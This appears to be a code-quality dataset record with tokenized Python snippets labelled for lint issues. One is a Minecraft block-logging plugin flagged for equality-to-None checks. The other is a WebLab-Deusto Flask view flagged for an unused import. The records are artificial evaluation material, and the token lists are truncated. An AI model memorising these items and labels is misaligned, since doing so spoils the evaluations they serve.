[ { "content": "\tdef placeBlock(self, payload):\n\t\tif payload[\"item\"] == None: return\n\t\tplayer = payload[\"player\"]\n\t\tx, y, z = payload[\"position\"]\n\t\tuuid = player.uuid\n\t\tif player.name in self.toggled:\n\t\t\tactions = self.lookupBlock(x, y, z)\n\t\t\tfound = False\n\t\t\tfor action in actions:\n\t\t\t\tself.displayEntry(player, action)\n\t\t\tif len(actions) < 1:\n\t\t\t\tplayer.message({\"text\": \"Could not find any actions in the specified area.\", \"color\": \"red\"})\n\t\t\telse:\n\t\t\t\tplayer.message({\"text\": \"End of list.\", \"color\": \"red\", \"bold\": True})\n\t\t\treturn False\n\t\telse:\n\t\t\tif payload[\"item\"][\"id\"] < 255:\n\t\t\t\tself.logger.place_block(uuid, x, y, z, payload[\"item\"][\"id\"], payload[\"item\"][\"damage\"])", "metadata": "root.Main.placeBlock", "header": "['class', 'Main', ':', '___EOS___']", "index": 52 }, { "content": "\tdef displayEntry(self, player, action):\n\t\tj = []\n\t\ttimestamp = datetime.datetime.fromtimestamp(int(action[1])).strftime('%Y-%m-%d %H:%M:%S')\n\t\tuuid, type, payload = action[0], action[2], action[3]\n\t\tplayerName = self.minecraft.lookupUUID(uuid)[\"name\"]\n\t\tif playerName == None: playerName == uuid\n\t\tj.append({\"text\": \"[%s] \" % timestamp, \"color\": \"gray\"})\n\t\tj.append({\"text\": playerName + \" \", \"color\": \"dark_aqua\", \"hoverEvent\": {\"action\":\"show_text\", \"value\":uuid}})\n\t\tif type in (\"place_block\", \"dig_block\"):\n\t\t\tif type == \"place_block\": \n\t\t\t\tj.append({\"text\": \"placed \"})\n\t\t\telif type == \"dig_block\": \n\t\t\t\tj.append({\"text\": \"broke \"})\n\t\t\titem = json.dumps({\"id\":payload[\"block\"],\"Damage\":0,\"Count\":1,\"tag\":{}}).replace('\"', \"\")\n\t\t\tj.append({\"text\": payload[\"block\"], \"color\": \"dark_red\", \"hoverEvent\": {\"action\":\"show_item\", \"value\": item}})\n\t\tplayer.message({\"text\":\"\",\"extra\":j})", "metadata": "root.Main.displayEntry", "header": "['class', 'Main', ':', '___EOS___']", "index": 121 } ]
[ { "span": "payload[\"item\"] == None:", "start_line": 53, "start_column": 5, "end_line": 53, "end_column": 28 }, { "span": "playerName == None:", "start_line": 126, "start_column": 5, "end_line": 126, "end_column": 23 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Main_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "place", "Block_", "(_", "self_", ",_", "payload_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "payload_", "[_", "\"", "item", "\"_", "]_", "==_", "None_", ":_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "player_", "=_", "payload_", "[_", "\"", "player", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", ",_", "y_", ",_", "z_", "=_", "payload_", "[_", "\"", "position", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uuid_", "=_", "player_", "._", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "player_", "._", "name_", "in_", "self_", "._", "toggled_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "actions_", "=_", "self_", "._", "look", "up", "Block_", "(_", "x_", ",_", "y_", ",_", "z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "found_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "action_", "in_", "actions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "self_", "._", "display", "Entry_", "(_", "player_", ",_", "action_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "actions_", ")_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "player_", "._", "message_", "(_", "{_", "\"", "text", "\"_", ":_", "\"", "Cou", "ld", " ", "not", " ", "find", " ", "any", " ", "action", "s", " ", "in", " ", "the", " ", "specified", " ", "area", ".\"_", ",_", "\"", "color", "\"_", ":_", "\"", "red", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "player_", "._", "message_", "(_", "{_", "\"", "text", "\"_", ":_", "\"", "End", " ", "of", " ", "list", ".\"_", ",_", "\"", "color", "\"_", ":_", "\"", "red", "\"_", ",_", "\"", "bold", "\"_", ":_", "True_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "payload_", "[_", "\"", "item", "\"_", "]_", "[_", "\"", "id", "\"_", "]_", "<_", "255_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "self_", "._", "logger_", "._", "place", "\\u", "block_", "(_", "uuid_", ",_", "x_", ",_", "y_", ",_", "z_", ",_", "payload_", "[_", "\"", "item", "\"_", "]_", "[_", "\"", "id", "\"_", "]_", ",_", "payload_", "[_", "\"", "item", "\"_", "]_", "[_", "\"", "damage", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Main_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "display", "Entry_", "(_", "self_", ",_", "player_", ",_", "action_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "j_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timestamp_", "=_", "datetime_", "._", "datetime_", "._", "fromtimestamp_", "(_", "int_", "(_", "action_", "[_", "1_", "]_", ")_", ")_", "._", "strftime_", "(_", "'%", "Y", "-%", "m", "-%", "d", " ", "%", "H", ":", "%", "M", ":", "%", "S", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uuid_", ",_", "type_", ",_", "payload_", "=_", "action_", "[_", "0_", "]_", ",_", "action_", "[_", "2_", "]_", ",_", "action_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "player", "Name_", "=_", "self_", "._", "minecraft", "_", "._", "look", "up", "UUID_", "(_", "uuid_", ")_", "[_", "\"", "name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "player", "Name_", "==_", "None_", ":_", "player", "Name_", "==_", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "\"[", "%", "s", "]", " ", "\"_", "%_", "timestamp_", ",_", "\"", "color", "\"_", ":_", "\"", "gray", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "player", "Name_", "+_", "\"", " ", "\"_", ",_", "\"", "color", "\"_", ":_", "\"", "dark", "\\u", "aqu", "a", "\"_", ",_", "\"", "hover", "Event", "\"_", ":_", "{_", "\"", "action", "\"_", ":_", "\"", "show", "\\u", "text", "\"_", ",_", "\"", "value", "\"_", ":_", "uuid_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "in_", "(_", "\"", "place", "\\u", "block", "\"_", ",_", "\"", "dig", "\\u", "block", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "type_", "==_", "\"", "place", "\\u", "block", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "\"", "place", "d", " ", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "\"", "dig", "\\u", "block", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "\"", "bro", "ke", " ", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "item_", "=_", "json_", "._", "dumps_", "(_", "{_", "\"", "id", "\"_", ":_", "payload_", "[_", "\"", "block", "\"_", "]_", ",_", "\"", "Dam", "age", "\"_", ":_", "0_", ",_", "\"", "Count", "\"_", ":_", "1_", ",_", "\"", "tag", "\"_", ":_", "{_", "}_", "}_", ")_", "._", "replace_", "(_", "'\"'_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "payload_", "[_", "\"", "block", "\"_", "]_", ",_", "\"", "color", "\"_", ":_", "\"", "dark", "\\u", "red", "\"_", ",_", "\"", "hover", "Event", "\"_", ":_", "{_", "\"", "action", "\"_", ":_",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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
weblabdeusto/weblabdeusto/server/src/weblab/core/webclient/view_lab.py
[ { "content": "from __future__ import print_function, unicode_literals\nimport os\nfrom flask import render_template, url_for, request, flash, redirect, session, g\n\nfrom weblab.core.i18n import gettext, get_locale\nfrom weblab.core.exc import SessionNotFoundError\nfrom weblab.core.webclient.view_login import demo\nfrom weblab.core.webclient.helpers import _get_experiment, _get_experiment_data, _hook_native_experiments\nfrom weblab.core.wl import weblab_api\nfrom weblab.core.webclient import login_required\nfrom weblab.core.reservations import Reservation\n\n# TODO: make sure we have a special 500 error handler, which simply calls error but also calls the send_mail function\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@weblab_api.route_webclient(\"/labs/<category_name>/<experiment_name>/\")\ndef lab(category_name, experiment_name):\n \"\"\"\n Renders a specific laboratory.\n \"\"\"\n federated_reservation_id = session.get('reservation_id')\n federated_mode = federated_reservation_id is not None\n if federated_mode:\n back_url = session.get('back_url')\n else:\n back_url = None\n\n experiment = None\n if federated_mode:\n weblab_api.ctx.reservation_id = federated_reservation_id\n # Now obtain the current experiment\n try:\n experiment = _get_experiment_data(weblab_api.api.get_reservation_experiment_info())\n reservation_status = weblab_api.api.get_reservation_status()\n except SessionNotFoundError:\n session.pop('reservation_id', None)\n session.pop('back_url', None)\n federated_mode = False\n\n # Check if the user has a valid session (it may happen that this comes from an old reservation_id)\n try:\n experiment_list = weblab_api.api.list_experiments(experiment_name, category_name)\n except SessionNotFoundError:\n return render_template(\"webclient/error.html\", error_message = gettext(\"The reservation you used has expired.\"), federated_mode = True, back_url = back_url)\n else:\n if experiment is not None and reservation_status is not None and experiment['type'] == 'redirect':\n if reservation_status.status == Reservation.CONFIRMED:\n local_url = reservation_status.url\n if local_url is not None:\n return redirect(local_url.replace(\"TIME_REMAINING\", unicode(local_url.time)))\n\n if experiment is None:\n try:\n experiment_list = weblab_api.api.list_experiments(experiment_name, category_name)\n except SessionNotFoundError:\n flash(gettext(\"You are not logged in\"), 'danger')\n return redirect(url_for('.login', next=request.url))\n\n for exp_allowed in experiment_list:\n if exp_allowed.experiment.name == experiment_name and exp_allowed.experiment.category.name == category_name:\n experiment = _get_experiment(exp_allowed)\n\n if experiment is None:\n # TODO: check what to do in case there is no session_id (e.g., federated mode)\n if weblab_api.db.check_experiment_exists(experiment_name, category_name):\n flash(gettext(\"You don't have permission on this laboratory\"), 'danger')\n else:\n flash(gettext(\"Experiment does not exist\"), 'danger')\n return redirect(url_for('.labs'))\n\n return render_template(\"webclient/lab.html\", experiment=experiment, federated_mode = federated_mode, back_url = back_url, federated_reservation_id = federated_reservation_id)", "metadata": "root.lab", "header": "['module', '___EOS___']", "index": 14 }, { "content": "@weblab_api.route_webclient(\"/demos/labs/<category_name>/<experiment_name>/\")\ndef demo_lab(category_name, experiment_name):\n try:\n experiment_list = weblab_api.api.list_experiments(experiment_name, category_name)\n except SessionNotFoundError:\n g.next_url = url_for('.lab', category_name = category_name, experiment_name = experiment_name)\n return demo()\n except:\n flash(gettext(\"Error processing request\"), 'danger')\n return redirect(url_for('.labs'))\n else: # User is logged in and has permissions\n return redirect(url_for('.lab', category_name = category_name, experiment_name = experiment_name))", "metadata": "root.demo_lab", "header": "['module', '___EOS___']", "index": 71 }, { "content": "@weblab_api.route_webclient('/demos/')\ndef demos_index():\n return redirect(url_for('.demo'))", "metadata": "root.demos_index", "header": "['module', '___EOS___']", "index": 85 }, { "content": "@weblab_api.route_webclient('/demos/labs/')\ndef demos_index_labs():\n return redirect(url_for('.demo'))", "metadata": "root.demos_index_labs", "header": "['module', '___EOS___']", "index": 89 }, { "content": "@weblab_api.route_webclient('/demos/labs/<category_name>/')\ndef demos_index_labs_category(category_name):\n return redirect(url_for('.demo'))", "metadata": "root.demos_index_labs_category", "header": "['module', '___EOS___']", "index": 93 }, { "content": "@weblab_api.route_webclient(\"/labs/<category_name>/<experiment_name>/config.json\")\ndef lab_config(category_name, experiment_name):\n experiment_config = {}\n try:\n experiment = weblab_api.db.get_experiment(experiment_name, category_name)\n except Exception as ex:\n pass\n else:\n if experiment is not None:\n _hook_native_experiments(experiment)\n experiment_config = experiment.client.configuration\n\n scripts = [\n url_for('.static', filename='js/iframeResizer.contentWindow.min.js', _external=True)\n ]\n locale = get_locale().language\n return weblab_api.jsonify(locale=locale, targetURL=url_for('json.service_url'), fileUploadURL=url_for('core_web.upload'), scripts=scripts, config=experiment_config, currentURL = weblab_api.core_server_url)", "metadata": "root.lab_config", "header": "['module', '___EOS___']", "index": 98 }, { "content": "@weblab_api.route_webclient(\"/labs/<category_name>/<experiment_name>/latest_uses.json\")\n@login_required\ndef latest_uses(category_name, experiment_name):\n uses = []\n for use in weblab_api.api.get_latest_uses_per_lab(category_name, experiment_name):\n current_use = {\n 'start_date' : use['start_date'].strftime('%Y-%m-%d %H:%M:%SZ'),\n 'link' : url_for('accesses.detail', id=use['id'])\n }\n if use['country']:\n current_use['location'] = '{0} ({1})'.format(use['country'], use['origin'])\n else:\n current_use['location'] = use['origin']\n\n uses.append(current_use)\n\n return weblab_api.jsonify(uses=uses[::-1])", "metadata": "root.latest_uses", "header": "['module', '___EOS___']", "index": 117 }, { "content": "@weblab_api.route_webclient(\"/labs/<category_name>/<experiment_name>/stats.json\")\n@login_required\ndef lab_stats(category_name, experiment_name):\n experiment_found = False\n try:\n experiment_list = weblab_api.api.list_experiments(experiment_name, category_name)\n\n\n for exp_allowed in experiment_list:\n if exp_allowed.experiment.name == experiment_name and exp_allowed.experiment.category.name == category_name:\n experiment_found = True\n\n except Exception as ex:\n return {}\n\n if not experiment_found:\n return {}\n\n stats = weblab_api.db.get_experiment_stats(experiment_name, category_name)\n stats['status'] = 'online';\n return weblab_api.jsonify(stats=stats)", "metadata": "root.lab_stats", "header": "['module', '___EOS___']", "index": 135 } ]
[ { "span": "import os", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", ",_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flask_", "import_", "render", "\\u", "template_", ",_", "url", "\\u", "for_", ",_", "request_", ",_", "flash_", ",_", "redirect_", ",_", "session_", ",_", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "webla", "b_", "._", "core_", "._", "i18n_", "import_", "gettext_", ",_", "get", "\\u", "locale_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "webla", "b_", "._", "core_", "._", "exc_", "import_", "Sess", "ion", "Not", "Foun", "d", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "webla", "b_", "._", "core_", "._", "webc", "lient_", "._", "view", "\\u", "login_", "import_", "demo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "webla", "b_", "._", "core_", "._", "webc", "lient_", "._", "helpers_", "import_", "\\u", "get", "\\u", "experiment_", ",_", "\\u", "get", "\\u", "experiment", "\\u", "data_", ",_", "\\u", "hook", "\\u", "nativ", "e\\u", "experiments_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "webla", "b_", "._", "core_", "._", "wl_", "import_", "webla", "b", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "webla", "b_", "._", "core_", "._", "webc", "lient_", "import_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "webla", "b_", "._", "core_", "._", "reservations_", "import_", "Reserva", "tion_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "make", " ", "sure", " ", "we", " ", "have", " ", "a", " ", "special", " ", "500", " ", "error", " ", "handler", ",", " ", "whi", "ch", " ", "simp", "ly", " ", "calls", " ", "error", " ", "but", " ", "als", "o", " ", "calls", " ", "the", " ", "send", "\\u", "mail", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "webla", "b", "\\u", "api_", "._", "route", "\\u", "webc", "lient_", "(_", "\"/", "labs", "/", "<", "category", "\\u", "name", ">/", "<", "experiment", "\\u", "name", ">/", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "lab_", "(_", "category", "\\u", "name_", ",_", "experiment", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Render", "s", " ", "a", " ", "specific", " ", "labor", "ator", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "federated", "\\u", "reserva", "tion", "\\u", "id_", "=_", "session_", "._", "get_", "(_", "'", "reserva", "tion", "\\u", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "federated", "\\u", "mode_", "=_", "federated", "\\u", "reserva", "tion", "\\u", "id_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "federated", "\\u", "mode_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "back", "\\u", "url_", "=_", "session_", "._", "get_", "(_", "'", "back", "\\u", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "back", "\\u", "url_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "experiment_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "federated", "\\u", "mode_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "webla", "b", "\\u", "api_", "._", "ctx_", "._", "reserva", "tion", "\\u", "id_", "=_", "federated", "\\u", "reserva", "tion", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", "w", " ", "obtain", " ", "the", " ", "current", " ", "experiment_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment_", "=_", "\\u", "get", "\\u", "experiment", "\\u", "data_", "(_", "webla", "b", "\\u", "api_", "._", "api_", "._", "get", "\\u", "reserva", "tion", "\\u", "experiment", "\\u", "info_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reserva", "tion", "\\u", "status_", "=_", "webla", "b", "\\u", "api_", "._", "api_", "._", "get", "\\u", "reserva", "tion", "\\u", "status_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Sess", "ion", "Not", "Foun", "d", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", "._", "pop_", "(_", "'", "reserva", "tion", "\\u", "id", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "session_", "._", "pop_", "(_", "'", "back", "\\u", "url", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "federated", "\\u", "mode_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "if", " ", "the", " ", "user", " ", "has", " ", "a", " ", "valid", " ", "session", " ", "(", "it", " ", "may", " ", "happ", "en", " ", "tha", "t", " ", "this", " ", "come", "s", " ", "from", " ", "an", " ", "old", " ", "reserva", "tion", "\\u", "id", ")_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment", "\\u", "list_", "=_", "webla", "b", "\\u", "api_", "._", "api_", "._", "list", "\\u", "experiments_", "(_", "experiment", "\\u", "name_", ",_", "category", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Sess", "ion", "Not", "Foun", "d", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "render", "\\u", "template_", "(_", "\"", "webc", "lien", "t", "/", "error", ".", "html", "\"_", ",_", "error", "\\u", "message_", "=_", "gettext_", "(_", "\"", "The", " ", "reserva", "tion", " ", "you", " ", "used", " ", "has", " ", "expir", "ed", ".\"_", ")_", ",_", "federated", "\\u", "mode_", "=_", "True_", ",_", "back", "\\u", "url_", "=_", "back", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "experiment_", "is_", "not_", "None_", "and_", "reserva", "tion", "\\u", "status_", "is_", "not_", "None_", "and_", "experiment_", "[_", "'", "type", "'_", "]_", "==_", "'", "redirec", "t", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "reserva", "tion", "\\u", "status_", "._", "status_", "==_", "Reserva", "tion_", "._", "CONFIRM", "ED_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "local", "\\u", "url_", "=_", "reserva", "tion", "\\u", "status_", "._", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "local", "\\u", "url_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "return_", "redirect_", "(_", "local", "\\u", "url_", "._", "replace_", "(_", "\"", "TIME", "\\u", "REM", "AIN", "ING", "\"_", ",_", "unicode_", "(_", "local", "\\u", "url_", "._", "time_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "experiment_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment", "\\u", "list_", "=_", "webla", "b", "\\u", "api_", "._", "api_", "._", "list", "\\u", "experiments_", "(_", "experiment", "\\u", "name_", ",_", "category", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Sess", "ion", "Not", "Foun", "d", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flash_", "(_", "gettext_", "(_", "\"", "You", " ", "are", " ", "not", " ", "logged", " ", "in", "\"_", ")_", ",_", "'", "danger", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "redirect_", "(_", "url", "\\u", "for_", "(_", "'.", "login", "'_", ",_", "next_", "=_", "request_", "._", "url_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "exp", "\\u", "allowed_", "in_", "experiment", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "exp", "\\u", "allowed_", "._", "experiment_", "._", "name_", "==_", "experiment", "\\u", "name_", "and_", "exp", "\\u", "allowed_", "._", "experiment_", "._", "category_", "._", "name_", "==_", "category", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "experiment_", "=_", "\\u", "get", "\\u", "experiment_", "(_", "exp", "\\u", "allowed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "experiment_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "check", " ", "what", " ", "to", " ", "do", " ", "in", " ", "case", " ", "there", " ", "is", " ", "no", " ", "session", "\\u", "id", " ", "(", "e", ".", "g", ".,", " ", "federated", " ", "mode", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "webla", "b", "\\u", "api_", "._", "db_", "._", "check", "\\u", "experiment", "\\u", "exists_", "(_", "experiment", "\\u", "name_", ",_", "category", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flash_", "(_", "gettext_", "(_", "\"", "You", " ", "don", "'", "t", " ", "have", " ", "permissi", "on", " ", "on", " ", "this", " ", "labor", "ator", "y", "\"_", ")_", ",_", "'", "danger", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", 